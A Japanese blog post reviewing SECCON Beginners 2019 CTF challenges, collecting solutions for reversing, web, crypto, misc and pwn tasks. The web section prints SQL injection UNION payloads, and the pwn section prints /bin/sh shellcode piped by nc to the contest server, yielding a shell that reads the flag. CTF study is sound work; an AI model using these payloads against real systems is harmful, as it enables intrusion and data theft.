セキュリティ系の勉強、その他開発メモとか雑談. GithubはUnity触っていた頃ものがメイン Twitterフォローもよろしくです

【SECCON for Beginners2019】復習




昨年に引き続き..

今年も参加しました。今年はBornOn21というチームで167/666位という結果でした。正直僕はほぼ貢献できてないです(去年より難しくなってた?)。なのでWriteUpという見出しは使わないで、もう完全に他の方の解き方を見て復習する記事にします。特に自分が解こうとして解けなかった問題をここに残します。

f:id:thinline196:20190526174118p:plain




参考サイト

今回は備忘録なのでこちらの参考サイトさんを見てくださいね。

qiita.com

szarny.hatenablog.com

betit0919.hatenablog.com

furutsuki.hatenablog.com

注意

WriteUpじゃないですからね。







[Reversing] Seccompare

コマンドライン引数とフラグをstrcmpで比較している感じ。radare2で開いたら比べる文字が見えるので、そのまま解けます。 f:id:thinline196:20190526174909p:plain
ctf4b{5tr1ngs_1s_n0t_en0ugh}

[Web] Ramen

店員と一言を検索するフォームがあり、そこにSQLインジェクション脆弱性があるようです。UNION句ではカラムの数を同じにしなければエラーになるんですね。SQLに弱いので勉強になりました。

' UNION SELECT table_name,column_name FROM Information_schema.COLUMNS; #
' UNION SELECT 1, flag FROM flag; #

僕はテーブル名を調べるときにこんな感じでやりましたが、上の方がスマートですね。

a' or '1'='1' UNION ALL (SELECT TABLE_SCHEMA,TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE')  --




[Web] Katsudon

問題文。

Rails 5.2.1で作られたサイトです。

https://katsudon.quals.beginners.seccon.jp

クーポンコードを復号するコードは以下の通りですが、まだ実装されてないようです。

フラグは以下にあります。 https://katsudon.quals.beginners.seccon.jp/flag

# app/controllers/coupon_controller.rb
class CouponController < ApplicationController
def index
end

def show
  serial_code = params[:serial_code]
  @coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code)
  end
end

で、表示されるflagは下になります。 BAhJIiVjdGY0YntLMzNQX1kwVVJfNTNDUjM3X0szWV9CNDUzfQY6BkVU--0def7fcd357f759fe8da819edd081a3a73b6052a
問題文を見た感じ、message_verifierをいじるのかと思いましたが、渡されたフラグの前半部分をbase64でデコードするだけでした。。。

ctf4b{K33P_Y0UR_53CR37_K3Y_B453}
Railsのプロジェクト作って実際に走らせたりと色々迷走しました。


[Crypto] So Tired

初めはbase64の文字列が渡されるのでデコードし、それをfileコマンドで調べるとzlib形式で圧縮されている事がわかるそうです。簡単なデコードは下のコマンドでできます。 base64 -d encrypted.txt > out.txt

import zlib
import base64

data = open("encrypted.txt").read()

while True:
    data = base64.b64decode(data)
    print(data) # どちらで答えが出るかわからない
    data = zlib.decompress(data)
    print(data)




[Misc] containers

foremostで渡されたdataを解析したら、下の画像が出てきました。これ、正しい解法なのでしょうか? f:id:thinline196:20190526181328p:plain

ctf4b{e52df60c058746a66e4ac4f34db6fc81}




[Pwnable] shellcoder

送ったシェルコードをそのまま実行してくれるらしいのですが、binshの文字が入っているものは排除されるらしいです。

\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05 Linux/x86-64 - Execute /bin/sh - 27 bytes

root@kali:~/Downloads/seccon4b2019# echo -en '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' > shell.bin
root@kali:~/Downloads/seccon4b2019# hexdump -C shell.bin 
00000000  31 c0 48 bb d1 9d 96 91  d0 8c 97 ff 48 f7 db 53  |1.H.........H..S|
00000010  54 5f 99 52 57 54 5e b0  3b 0f 05                 |T_.RWT^.;..|
0000001b
root@kali:~/Downloads/seccon4b2019# 
root@kali:~/Downloads/seccon4b2019# cat shell.bin - | nc 153.120.129.186 20000
Are you shellcoder?
ls
flag.txt
shellcoder
cat flag.txt
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}

ctf4b{Byp4ss_us!ng6_X0R_3nc0de}


[Web] Dump

作者さんの解法 takahoyo.hatenablog.com



最後に

全く歯が立たなかった。。